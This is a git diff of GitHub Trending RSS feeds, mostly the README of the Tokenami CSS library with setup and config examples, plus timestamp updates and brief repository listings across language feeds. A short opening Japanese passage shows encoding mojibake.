<p>(ๆบๅไธญ)</p>
<h2>Issue</h2>
<ul>
<li>ใใฐ</li>
<li>่ฆๆ</li>
<li>ๆนๅๆก</li>
</ul>
<p>ใใใใฐใ<a href="https://github.com/tech-creative-club/disaster-posts/issues">Issue</a>ใซๆ็จฟใใฆใใ ใใใ</p>
<h2>ใณใณใใชใใฅใผใฟใผ่กๅ่ฆ็ฏ</h2>
<p><a href="https://raw.githubusercontent.com/tech-creative-club/disaster-posts/main/CODE_OF_CONDUCT.md">่กๅ่ฆ็ฏ</a>ใใ่ชญใฟใใ ใใใ</p>
<h2>ใใใญใค</h2>
<p>(ๆบๅไธญ)</p>
<h2>ใฉใคใปใณใน</h2>
<p>(ๆบๅไธญ)</p>
- movie-web/providers
- 2024-01-03T01:39:22Z
- tag:github.com,2024-01-03:/movie-web/providers
-
- <p>Package that contains all the providers of movie-web</p><hr><h1>@movie-web/providers</h1>
<p>package that holds all providers of movie-web. Feel free to use for your own projects.</p>
<p>features:</p>
<ul>
<li>scrape popular streaming websites</li>
<li>works in both browser and server-side</li>
</ul>
<p>Visit documentation here: <a href="https://providers.docs.movie-web.app/">https://providers.docs.movie-web.app/</a></p>
<h2>How to run locally or test my changes</h2>
<p>These topics are also covered in the documentation, <a href="https://providers.docs.movie-web.app/extra-topics/development">read about it here</a>.</p>
+ tokenami/tokenami
+ 2024-01-04T01:40:30Z
+ tag:github.com,2024-01-04:/tokenami/tokenami
+
+ <p>Atomic CSS in the style attribute. Type-safe static styles with theming, responsive variant support, and no bundler integration.</p><hr><p><img src="https://github.com/jjenzz/pretty-cache-header/assets/175330/18df3dab-ba82-4fd6-a74b-ec1c4aecc4ab" alt="image"></p>
<div align="center">
<h3>Tokenami</h3>
<p align="center"> Atomic CSS in the style attribute. </p>
<p align="center"> Type-safe static styles with theming, responsive variant support, and no bundler integration. </p>
</div>
<details>
<summary align="center"><h2 id="user-content-why-another-css-library">Why another CSS library?</h2></summary>
<p>CSS-in-JS solutions that rely on style injection <a href="https://github.com/reactwg/react-18/discussions/110">won't be recommended by the React team</a> going forward, and instead they suggest the following:</p>
<blockquote>
<p>Our preferred solution is to use <a href="https://github.com/reactwg/react-18/discussions/108"><code><link rel="stylesheet"></code></a> for statically extracted styles and plain inline styles for dynamic values. E.g. <code><div style={{...}}></code></p>
</blockquote>
<p>In other wordsโ<em>write CSS like we used to</em>. But what about the benefits that CSS-in-JS gave us?</p>
<p>There are CSS-in-JS solutions that extract static rules from your template files into external <code>.css</code> files, however, these approaches often require <a href="https://vanilla-extract.style/documentation/integrations/next/">bundler integration</a> and come with <a href="https://panda-css.com/docs/guides/dynamic-styling">build-time limitations</a>.</p>
<p>The learning curve can be intimidating but developers invest regardless so they can have type errors and intellisense for their design system tokens as well as style deduping, critical path CSS, scoping, and composition.</p>
<p>Tailwind CSS adopts a different strategy to achieve these goals:</p>
<ul>
<li>We can style inline to prototype quickly</li>
<li>Editor extensions for intellisense based on your theme</li>
<li>Statically generated styles with a simple CLI script, no bundler integration</li>
<li>Atomic CSS so styles have a cap on how large they can grow</li>
</ul>
<p>On the flip side:</p>
<ul>
<li>Removing values from your theme won't flag redundant references</li>
<li>We must memorise Tailwind's custom class names which spawns things like the <a href="https://tailwindcomponents.com/cheatsheet/">Tailwind Cheatsheet</a></li>
<li>Specificity issues when composing unless we use third-party packages like <a href="https://www.npmjs.com/package/tailwind-merge">tailwind-merge</a></li>
<li>Styling inline can be unpleasant to maintain, resulting in third-party packages like <a href="https://cva.style/docs">cva</a></li>
<li>Classes must exist as <a href="https://tailwindcss.com/docs/content-configuration#dynamic-class-names">complete unbroken strings</a></li>
<li>Debugging in dev tools is tricky because styles are spread across atomic classes</li>
</ul>
<h3>Introducing Tokenami</h3>
<p>Tokenami aims to improve some of these areas by using CSS variables instead of CSS properties in the <code>style</code> attribute, and bringing all necessary tools under one roof. It features:</p>
<ul>
<li>Simple naming conventionโuse the CSS properties you already know, prefixed with double-dash</li>
<li>Smaller stylesheet made possible by atomic CSS variables</li>
<li>Config file for defining your theme</li>
<li>Feature-rich intellisense when authoring styles</li>
<li>Fully typed <code>style</code> attribute for ad-hoc styles, including media queries and pseudo-classes/selectors</li>
<li>A tiny <code>css</code> utility with variants, and responsive variants support</li>
<li>Seamless composition across component boundaries using the <code>css</code> utility</li>
<li>Runtime style support e.g. <code>style={{ '--color': props.color }}</code></li>
<li>Aliasable properties e.g. <code>style={{ '--p': 4 }}</code> for padding</li>
<li>Custom selector support enabling sibling or descendant selectors</li>
<li>Improved debugging experience in dev tools</li>
<li>Statically generated styles</li>
<li>No bundler integration</li>
</ul>
</details>
<blockquote>
<p>[!Warning] This is a pre-alpha version of tokenami so there will be bugs and missing features. Please check the <a href="https://github.com/tokenami/tokenami/issues">existing issues</a> for planned features/known bugs before creating new ones.</p>
</blockquote>
<h2>Demo</h2>
<p><a href="https://github.com/tokenami/tokenami/assets/175330/77070822-25af-4b06-a92a-965188ed3a62">https://github.com/tokenami/tokenami/assets/175330/77070822-25af-4b06-a92a-965188ed3a62</a></p>
<h2>Contents</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-getting-started">Getting started</a>
<ul>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-installation">Installation</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-configure-typescript">Configure TypeScript</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-start-the-cli-watch-script">Start CLI watch script</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-use-tokenami">Use Tokenami</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-core-concepts">Core concepts</a>
<ul>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-theming">Theming</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-styling">Styling</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-responsive-styles">Responsive styles</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-css-utility">CSS utility</a>
<ul>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-contenty-installation-1">Installation</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-usage">Usage</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-overrides">Overrides</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-typescript">TypeScript</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-advanced">Advanced</a>
<ul>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-selectors">Selectors</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-aliases">Aliases</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-mapping-properties-to-theme">Mapping properties to theme</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-browserslist">Browserslist</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-continuous-integration">Continuous Integration</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-support">Support</a>
<ul>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-hmr-not-working-as-expected-in-remix">HMR not working as expected in Remix</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-efficiency-of-tokenamis-attribute-substring-selectors">Efficiency of Tokenami's attribute substring selectors</a></li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-supported-frameworks">Supported frameworks</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-credits">Credits</a></li>
</ul>
<h2>Getting started</h2>
<p>Tokenami offers a CLI tool for generating static styles, and a TypeScript plugin to enhance the developer experience. An optional CSS utility is also provided and recommended when composing across component boundaries.</p>
<h3>Installation</h3>
<p>Install and initialise using your package manager of choice. For example:</p>
<pre><code class="language-sh">npm install @tokenami/dev @tokenami/ts-plugin -D
npx tokenami init
</code></pre>
<h3>Configure TypeScript</h3>
<p>Add Tokenami to <code>include</code> and <code>plugins</code> in your <code>tsconfig.json</code> or <code>jsconfig.json</code>.</p>
<pre><code class="language-json">{
"include": [".tokenami/tokenami.env.d.ts", "**/*.ts", "**/*.tsx"],
"compilerOptions": {
"plugins": [{ "name": "@tokenami/ts-plugin" }]
}
}
</code></pre>
<p>Make sure your editor is configured to use the project's version of TypeScript. You can find instructions for various editors in their documentation, such as for VSCode <a href="https://code.visualstudio.com/docs/typescript/typescript-compiling#_using-the-workspace-version-of-typescript">here</a>.</p>
<h3>Start the CLI watch script</h3>
<p>Run the CLI tool to scan your template files for tokenami properties and build your CSS. This would usually exist as a script in your <code>package.json</code>.</p>
<pre><code class="language-sh">npx tokenami --output ./public/styles.css --watch
</code></pre>
<p>Make sure to adjust the output path to your desired location for styles. It will use <code>./public/tokenami.css</code> by default if omitted.</p>
<h3>Use Tokenami</h3>
<p>Reference your output CSS file in the <code><head></code> of your document and start styling inline with Tokenami properties:</p>
<pre><code class="language-tsx"><h1 style={{ '--margin-top': 0, '--margin-bottom': 5 }}>Hello, World!</h1>
</code></pre>
<h2>Core concepts</h2>
<h3>Theming</h3>
<p>Tokenami relies on your theme to provide design system constraints. Since there's no predefined theme, you need to add your own to the <code>.tokenami/tokenami.config</code>. For example:</p>
<pre><code class="language-ts">module.exports = createConfig({
// ...
responsive: {
medium: '@media (min-width: 700px)',
large: '@media (min-width: 1024px)',
},
theme: {
color: {
'slate-100': '#f1f5f9',
'slate-700': '#334155',
'sky-500': '#0ea5e9',
},
radii: {
rounded: '10px',
circle: '9999px',
none: 'none',
},
},
});
</code></pre>
<p>The keys in your <code>responsive</code> and <code>theme</code> objects can be anything you wish. These keys will be used to name your tokens (more on this later).</p>
<h3>Styling</h3>
<p>With your theme set up, there are only a few rules to remember:</p>
<ol>
<li>A Tokenami <strong>property</strong> is any CSS property prefixed with double dash, e.g. <code>--font-size</code>. Use <code>---</code> (triple dash) to add custom CSS variables to an element.</li>
<li>A Tokenami <strong>token</strong> is any theme key followed by a value identifier, separated by an underscore. For example, a <code>color</code> object in theme with a <code>red-100</code> entry maps to <code>var(--color_red-100)</code>.</li>
<li>Properties can include selectors like media queries, pseudo-classes, and pseudo-elements separated with an underscore. For instance, <code>--hover_background-color</code>, <code>--md_hover_background-color</code>.</li>
</ol>
<h4>Grid values</h4>
<p>Tokenami uses a grid value for spacing. Properties like padding and margin are multiples of this when passed a numeric value. For example, with a grid set to <code>4px</code>, using <code>--padding: 2</code> adds <code>8px</code> of padding to your element.</p>
<p>By default, Tokenami sets the grid to <code>0.25rem</code> but you can override it:</p>
<pre><code class="language-ts">module.exports = createConfig({
// ...
grid: '10px',
});
</code></pre>
<h4>Arbitrary values</h4>
<p>You can avoid TypeScript errors for one-off inline values by using a triple dash fallback. For instance, <code>--padding: var(---, 20px)</code> prevents errors and sets padding to <code>20px</code>.</p>
<p>Tokenami intentionally adds friction to the developer experience here. This is to encourage sticking to your theme guidelines and to help you quickly spot values in your code that don't.</p>
<h3>Responsive styles</h3>
<p>Define responsive rules in the <code>responsive</code> object in your config. This can include <code>@container</code> queries:</p>
<pre><code class="language-ts">module.exports = createConfig({
// ...
responsive: {
medium: '@media (min-width: 1024px)',
'medium-self': '@container (min-width: 400px)',
},
});
</code></pre>
<p>Use by following the <a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-styling">property spec</a>:</p>
<pre><code class="language-tsx"><div style={{ '--medium_padding': 4 }} />
</code></pre>
<p>Responsive rules can also be combined with <a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-selectors">selectors</a>:</p>
<pre><code class="language-tsx"><div style={{ '--medium_hover_padding': 4 }} />
</code></pre>
<p>For documentation on responsive variants, refer to the <a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-css-utility">CSS utility</a> section.</p>
<h3>Animation</h3>
<p>Add keyframes to your config and reference them in your theme:</p>
<pre><code class="language-ts">module.exports = createConfig({
// ...
keyframes: {
wiggle: {
'0%, 100%': { transform: 'rotate(-3deg)' },
'50%': { transform: 'rotate(3deg)' },
},
},
theme: {
anim: {
wiggle: 'wiggle 1s ease-in-out infinite',
},
},
});
</code></pre>
<p>Use by following the <a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-styling">token spec</a>:</p>
<pre><code class="language-tsx"><div style={{ '--animation': 'var(--anim_wiggle)' }} />
</code></pre>
<h2>CSS utility</h2>
<p>Tokenami provides a CSS utility to abstract styles from your views and correctly merge styles across component boundaries. It also provides a variants API.</p>
<h3>Installation</h3>
<p>Install using your package manager of choice. For example:</p>
<pre><code class="language-sh">npm install @tokenami/css
</code></pre>
<h3>Usage</h3>
<p>Import and use the utility directly:</p>
<pre><code class="language-tsx">import { css } from '@tokenami/css';
function Button({ size, style, ...props }) {
return <button {...props} style={button({ size }, style)} />;
}
const button = css(
{ '---padding': 4 },
{
size: {
small: { '--padding': 2 },
large: { '--padding': 6 },
},
},
{ responsive: true }
);
</code></pre>
<p>The first parameter passed to the <code>css</code> utility represents your base styles, the second is for optional variants, and the third enables responsive variants.</p>
<p>Responsive variants allow you to prefix the variant name with a responsive key from your configuration. For example, the following button will apply the large <code>size</code> variant at the medium breakpoint:</p>
<pre><code class="language-tsx">function Button() {
return <button style={button({ medium_size: 'large' })} />;
}
</code></pre>
<p>Adding <code>responsive: true</code> will generate the atomic CSS for the responsive variants regardless of whether they're used so this is purposefully opt-in to allow greater control.</p>
<h3>Overrides</h3>
<p>The function returned by the <code>css</code> utility accepts your chosen variants as the first parameter, and then any number of overrides as additional parameters. Overrides can be applied conditionally and last override wins.</p>
<pre><code class="language-tsx">function Button(props) {
const { size, style, ...buttonProps } = props;
const disabled = props.disabled && { '--opacity': 0.5 };
return <button {...buttonProps} style={button({ size }, disabled, style)} />;
}
</code></pre>
<p>Overrides can also be used for compounding variants:</p>
<pre><code class="language-tsx">function Button(props) {
const { variant = 'primary', outline = true, style, ...buttonProps } = props;
const isPrimary = variant === 'primary';
const primaryOutlined = isPrimary && outline && { '--background-color': 'transparent' };
return <button {...buttonProps} style={button({ size, outline }, primaryOutlined, style)} />;
}
</code></pre>
<h3>TypeScript</h3>
<p>Use the <code>Variants</code> type to extend your component prop types:</p>
<pre><code class="language-tsx">import { type Variants, css } from '@tokenami/css';
type ButtonElementProps = React.ComponentPropsWithoutRef<'button'>;
interface ButtonProps extends ButtonElementProps, Variants<typeof button> {}
function Button(props: ButtonProps) {
const { size = 'small', style, ...buttonProps } = props;
return <button {...buttonProps} style={button({ size }, style)} />;
}
const button = css(
{ '---padding': 4 },
{
size: {
small: { '--padding': 2 },
large: { '--padding': 6 },
},
}
);
</code></pre>
<h2>Advanced</h2>
<h3>Selectors</h3>
<p>Tokenami provides some <a href="https://github.com/tokenami/tokenami/raw/main/packages/config/src/config.default.ts#L9">common default selectors</a> for you but you can define your own custom selectors in the <code>selectors</code> object of your config.</p>
<p>Use the ampersand (<code>&</code>) to specify where the current element's selector should be injected:</p>
<pre><code class="language-ts">const { createConfig, defaultConfig } = require('@tokenami/dev');
module.exports = createConfig({
// ...
selectors: {
...defaultConfig.selectors,
'parent-hover': '.parent:hover > &',
},
});
</code></pre>
<p>Use by following the <a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-styling">property spec</a>:</p>
<pre><code class="language-tsx"><div className="parent">
<img src="..." alt="" />
<button style={{ '--parent-hover_font-weight': 'bold' }} />
</div>
</code></pre>
<p>Selectors can also be combined with <a href="https://raw.githubusercontent.com/tokenami/tokenami/main/#user-content-responsive-styles">responsive rules</a>:</p>
<pre><code class="language-tsx"><button style={{ '--medium_parent-hover_font-weight': 'bold' }} />
</code></pre>
<h4>Nested selectors</h4>
<p>Use an array value for custom selectors to generate nested rules:</p>
<pre><code class="language-tsx">module.exports = createConfig({
// ...
selectors: {
...defaultConfig.selectors,
hover: ['@media (hover: hover) and (pointer: fine)', '&:hover'],
},
});
</code></pre>
<p>This example will apply hover styles for users with a precise pointing device, such as a mouse, when <code>--hover_{property}</code> is used.</p>
<h3>Aliases</h3>
<p>Aliases allow you to create shorthand names for properties or other aliases. When using custom aliases, the <code>css</code> utility is recommended. It ensures properties are merged correctly across component boundaries.</p>
<h4>Configure utility</h4>
<p>In your <code>.tokenami/tokenami.config</code> file, change the <code>@tokenami/dev</code> import to <code>@tokenami/css</code>:</p>
<pre><code class="language-diff">- const { createConfig } = require('@tokenami/dev');
+ const { createConfig } = require('@tokenami/css');
</code></pre>
<p>Then create a file in your project to configure the utility. You can name this file however you like, e.g. <code>css.ts</code>:</p>
<pre><code class="language-ts">// css.ts
import { createCss } from '@tokenami/css';
import config from '../.tokenami/tokenami.config';
export const css = createCss(config);
</code></pre>
<p>Now you can import the utility from the file you created and it will handle aliases correctly.</p>
<h4>Create aliases</h4>
<p>The configuration expects the name of your new alias followed by an array of properties or aliases that it should replace when passed as an override to the <code>css</code> utility.</p>
<pre><code class="language-ts">module.exports = createConfig({
// ...
aliases: {
p: ['pt', 'pr', 'pb', 'pl', 'px', 'py', 'padding'],
px: ['pl', 'pr', 'padding-left', 'padding-right'],
py: ['pt', 'pb', 'padding-top', 'padding-bottom'],
pt: ['padding-top'],
pr: ['padding-right'],
pb: ['padding-bottom'],
pl: ['padding-left'],
},
});
</code></pre>
<p>With the above config, <code>p</code> is shorthand for <code>pt</code>, <code>pr</code>, <code>pb</code>, <code>pl</code>, <code>px</code>, <code>py</code>, and <code>padding</code>. This allows the <code>css</code> utility to remove those properties when <code>--p</code> is passed as an override:</p>
<pre><code class="language-tsx">const button = css({ '--pr': 4 });
function Button(props) {
return <button style={button(null, props.style)} />;
}
function App() {
return <Button style={{ '--p': 10 }} />;
}
</code></pre>
<p>In this example, <code>Button</code> will have <code>10</code> padding on all sides because we configured <code>--p</code> to take precendence over <code>--pr</code> when passed as an override. Without this config, the button would have <code>4</code> padding on the right because longhand properties have higher specificity in the atomic stylesheet.</p>
<h3>Mapping properties to theme</h3>
<p>Tokenami provides sensible defaults to restrict which values can be passed to properties based on your theme. For instance, <code>--border-color</code> will only accept tokens from your <code>color</code> object in theme, <code>--padding</code> allows multiples of your grid, and <code>--height</code> expects tokens from a <code>size</code> key or multiples of your grid.</p>
<p>You can customise <a href="https://github.com/tokenami/tokenami/raw/main/packages/config/src/config.default.ts#L68">the default configuration</a> by overriding the <code>properties</code> object:</p>
<pre><code class="language-ts">const { createConfig, defaultConfig } = require('@tokenami/dev');
module.exports = createConfig({
theme: {
container: {
half: '50%',
},
pet: {
cat: '"๐ฑ"',
dog: '"๐ถ"',
},
},
properties: {
...defaultConfig.properties,
width: ['grid', 'container'],
height: ['grid', 'container'],
content: ['pet'],
},
});
</code></pre>
<p>With this configuration, using <code>'--content': 'var(--container_half)'</code> would error because <code>container</code> does not exist in the property config for <code>content</code>, but <code>'--content': 'var(--pet_dog)'</code> would be allowed:</p>
<pre><code class="language-tsx"><div
style={{
'--width': 75 /* 300px with a 4px grid */,
'--height': 'var(--container_half)',
'--after_content': 'var(--pet_cat)',
}}
/>
</code></pre>
<h3>Browserslist</h3>
<p>Tokenami only supports <a href="https://browsersl.ist/">browserslist</a> in your <code>package.json</code>. You can use it to add autoprefixing to your CSS properties in the generated CSS file. However, it currently doesn't support vendor-prefixed <strong>values</strong>, which is being tracked in <a href="https://github.com/tokenami/tokenami/issues/103">this issue</a>.</p>
<h3>Continuous Integration</h3>
<p>To improve performance during development, Tokenami widens its types and uses the TypeScript plugin for completions. Using <code>tsc</code> in the command line defaults to these widened types so it will not highlight errors for your properties or tokens. To get accurate types for CI, do the following:</p>
<h4>Create a CI project config</h4>
<p>Create a file named <code>tsconfig.ci.json</code> or <code>jsconfig.ci.json</code>. It should extend your original config and include the CI-specific Tokenami types:</p>
<pre><code class="language-json">{
"extends": "./tsconfig.json",
"include": [".tokenami/tokenami.env.ci.d.ts", "**/*.ts", "**/*.tsx"]
}
</code></pre>
<h4>Reference CI project config</h4>
<p>For CI, use <code>tsc</code> with your new configuration:</p>
<pre><code class="language-sh">tsc --noEmit --project tsconfig.ci.json
</code></pre>
<h2>Support</h2>
<p>Before raising a bug, please double-check that it isn't <a href="https://github.com/tokenami/tokenami/issues">already in my todo list</a>. Some common pitfalls are listed below. If you need additional support or encounter any issues, please don't hesitate to join the <a href="https://discord.gg/CAU4HNR4XK">Tokenami discord server</a>.</p>
<h3>HMR not working as expected in Remix</h3>
<p>When adding the stylesheet to the <code>links</code> export, make sure to import it instead of referencing a path in the <code>href</code> property:</p>
<pre><code class="language-tsx">import styles from '~/tokenami.css';
export const links: LinksFunction = () => [{ rel: 'stylesheet', href: styles }];
</code></pre>
<p>If your stylesheet is outside the remix <code>app</code> directory, update <code>remix.config.js</code> to include it in <a href="https://remix.run/docs/en/main/file-conventions/remix-config#watchpaths"><code>watchPaths</code></a> and update the import path appropriately.</p>
<h3>Efficiency of Tokenami's attribute substring selectors</h3>
<p>Attribute substring selectors are known for being less efficient than other simpler selectors, however, they are unlikely to significantly impact performance in most cases. Despite being relatively less efficient, modern browsers handle these selectors well enough that the performance impact would be minimal for typical applications.</p>
<p>Comparatively, historical CSS-in-JS solutions involved style injection techniques which could significantly hinder performance. In this context, attribute substring selectors will offer a considerable improvement.</p>
<h3>Supported frameworks</h3>
<p>Tokenami is in early stages of development and currently only supports applications built using React or SolidJS.</p>
<h2>Credits</h2>
<p>A big thanks to:</p>
<ul>
<li><a href="https://tailwindcss.com/">Tailwind CSS</a> for inspiring most of the features in Tokenami</li>
<li><a href="https://stitches.dev/">Stitches</a> for variants and responsive variants inspiration</li>
<li><a href="https://css-hooks.com/">CSS Hooks</a> for custom selectors inspiration</li>
</ul>
<p>Please do take the time to check these libraries out if you feel Tokenami isn't quite right for you.</p>
\ No newline at end of file
diff --git a/unified-parallel-c/daily/index.xml b/unified-parallel-c/daily/index.xml
index 74398a4ebcc..10426fc6c22 100644
--- a/unified-parallel-c/daily/index.xml
+++ b/unified-parallel-c/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Unified Parallel C Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:31Z
+ 2024-01-04T01:40:37ZDaily Trending of Unified Parallel C in GitHub
\ No newline at end of file
diff --git a/unity3d-asset/daily/index.xml b/unity3d-asset/daily/index.xml
index 16b8f77e13d..ad76d13a858 100644
--- a/unity3d-asset/daily/index.xml
+++ b/unity3d-asset/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Unity3D Asset Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:30Z
+ 2024-01-04T01:40:38ZDaily Trending of Unity3D Asset in GitHub
\ No newline at end of file
diff --git a/unix-assembly/daily/index.xml b/unix-assembly/daily/index.xml
index 25d49fbc217..304c6ddbd29 100644
--- a/unix-assembly/daily/index.xml
+++ b/unix-assembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Unix Assembly Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:32Z
+ 2024-01-04T01:40:39ZDaily Trending of Unix Assembly in GitHub
\ No newline at end of file
diff --git a/unknown/daily/index.xml b/unknown/daily/index.xml
index 22e30a9502a..f698abe968e 100644
--- a/unknown/daily/index.xml
+++ b/unknown/daily/index.xml
@@ -1,21 +1,28 @@
GitHub Unknown languages Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:09Z
+ 2024-01-04T01:25:26ZDaily Trending of Unknown languages in GitHub
- youssefHosni/Getting-Started-with-Generative-AI
- 2024-01-03T01:25:09Z
- tag:github.com,2024-01-03:/youssefHosni/Getting-Started-with-Generative-AI
-
- <p>A curated list of articles and tutorials to start with and understand generative AI</p><hr>
+ chiteroman/Reprogram-TEE-on-Qualcomm-devices
+ 2024-01-04T01:25:26Z
+ tag:github.com,2024-01-04:/chiteroman/Reprogram-TEE-on-Qualcomm-devices
+
+ <p>Guide to reprogram the TEE on Qualcomm devices to fix lost attestation keys</p><hr>
- kevinchwong/leetcode-intensive
- 2024-01-03T01:25:09Z
- tag:github.com,2024-01-03:/kevinchwong/leetcode-intensive
-
- <p>Leetcode Intensive tutorial and study guide generated by llama-index, networkx, scikit-learn and pydantic</p><hr>
+ HACKE-RC/awesome-reversing
+ 2024-01-04T01:25:26Z
+ tag:github.com,2024-01-04:/HACKE-RC/awesome-reversing
+
+ <p>A collection of resources to learn Reverse Engineering from start!</p><hr>
+
+
+ blindma1den/Programming-Skills-Level0
+ 2024-01-04T01:25:26Z
+ tag:github.com,2024-01-04:/blindma1den/Programming-Skills-Level0
+
+ <p>This repository contains a series of entry-level exercises that can be solved in any programming language. The purpose of these exercises is to develop your programming logic. This repository is the first in a series of more exercises to improve your programming skills.</p><hr>
\ No newline at end of file
diff --git a/uno/daily/index.xml b/uno/daily/index.xml
index f7e3c9077cc..814b0ffdc6d 100644
--- a/uno/daily/index.xml
+++ b/uno/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Uno Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:29Z
+ 2024-01-04T01:40:39ZDaily Trending of Uno in GitHub
\ No newline at end of file
diff --git a/unrealscript/daily/index.xml b/unrealscript/daily/index.xml
index 4c58c3e7495..18fe88b2978 100644
--- a/unrealscript/daily/index.xml
+++ b/unrealscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub UnrealScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:33Z
+ 2024-01-04T01:40:40ZDaily Trending of UnrealScript in GitHub
\ No newline at end of file
diff --git a/urweb/daily/index.xml b/urweb/daily/index.xml
index f8cbe015b90..f3ad967af1e 100644
--- a/urweb/daily/index.xml
+++ b/urweb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub UrWeb Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:36Z
+ 2024-01-04T01:40:41ZDaily Trending of UrWeb in GitHub
\ No newline at end of file
diff --git a/v/daily/index.xml b/v/daily/index.xml
index 137d2d7b515..c80564e540e 100644
--- a/v/daily/index.xml
+++ b/v/daily/index.xml
@@ -1,7 +1,7 @@
GitHub V Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:34Z
+ 2024-01-04T01:40:43ZDaily Trending of V in GitHub
\ No newline at end of file
diff --git a/vala/daily/index.xml b/vala/daily/index.xml
index b2ca0076744..b238a860263 100644
--- a/vala/daily/index.xml
+++ b/vala/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vala Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:35Z
+ 2024-01-04T01:40:42ZDaily Trending of Vala in GitHub
\ No newline at end of file
diff --git a/valve-data-format/daily/index.xml b/valve-data-format/daily/index.xml
index 0756b2c8887..fc194e7e3b5 100644
--- a/valve-data-format/daily/index.xml
+++ b/valve-data-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Valve Data Format Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:39Z
+ 2024-01-04T01:40:44ZDaily Trending of Valve Data Format in GitHub
\ No newline at end of file
diff --git a/vba/daily/index.xml b/vba/daily/index.xml
index 882b28a076f..2730c2fa3d3 100644
--- a/vba/daily/index.xml
+++ b/vba/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VBA Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:37Z
+ 2024-01-04T01:40:45ZDaily Trending of VBA in GitHub
\ No newline at end of file
diff --git a/vbscript/daily/index.xml b/vbscript/daily/index.xml
index e5b451df410..1807eef0e9e 100644
--- a/vbscript/daily/index.xml
+++ b/vbscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VBScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:39Z
+ 2024-01-04T01:40:46ZDaily Trending of VBScript in GitHub
\ No newline at end of file
diff --git a/vcl/daily/index.xml b/vcl/daily/index.xml
index e1bcb5b924f..aa97f3c7afa 100644
--- a/vcl/daily/index.xml
+++ b/vcl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VCL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:38Z
+ 2024-01-04T01:40:44ZDaily Trending of VCL in GitHub
\ No newline at end of file
diff --git a/verilog/daily/index.xml b/verilog/daily/index.xml
index 6541b73ce4f..da7888768e4 100644
--- a/verilog/daily/index.xml
+++ b/verilog/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Verilog Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:44Z
+ 2024-01-04T01:40:49ZDaily Trending of Verilog in GitHub
+
+ OSCPU/ysyxSoC
+ 2024-01-04T01:40:49Z
+ tag:github.com,2024-01-04:/OSCPU/ysyxSoC
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/vhdl/daily/index.xml b/vhdl/daily/index.xml
index 68cc7a14e97..87407cb91b6 100644
--- a/vhdl/daily/index.xml
+++ b/vhdl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VHDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:39:43Z
+ 2024-01-04T01:40:50ZDaily Trending of VHDL in GitHub
